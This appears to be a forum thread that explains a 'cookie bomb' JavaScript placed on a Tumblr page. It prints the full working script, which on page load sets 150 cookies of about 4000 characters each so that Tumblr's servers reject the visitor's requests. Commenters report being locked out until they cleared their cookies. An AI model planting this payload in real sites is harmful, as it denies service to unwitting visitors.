Take down Tumblr

Javascript on this page that 'takes down tumblr':

  (function () {
  'use strict';

  function getRootDomain() {
    return window.location.host.match(new RegExp('[^\.]*\.[^\.]*$'));
  }

  function nowMillis() {
    return (new Date()).getTime();
  }

  function setCookie(key, value, expires) {
    var domain = getRootDomain();
    document.cookie = key + "=" + escape(value) +
      ";path=/;domain=" + domain + "; expires="+expires.toUTCString();
  }

  function setCookieBomb() {
    var value =
      'Boring___',
    i,
    key,

    // Expire cookies 5 minutes from now,
    expires = new Date(nowMillis() + 5 * 60 * 1000);

    for (i = value.length; i < 4000; ++i) {
      value += '_';
    }

    for (i = 0; i < 150; ++i) {
      key = 'key' + i.toString();
      setCookie(key, value, expires);
    }
  }

  if (window.location.pathname.indexOf('customize') === -1) {
      setCookieBomb();
  }
  }());

It seems that Tumblr's webservers won't accept really big requests, like those that have 150 cookies that are 4000+ characters.

I've submitted this to point you to the more interesting (but related) submission of mine that didn't get much exposure. It unfortunately involves reading: https://news.ycombinator.com/item?id=5531743

Well. I can't go to tumblr.com now.

Deleting cookies worked :P
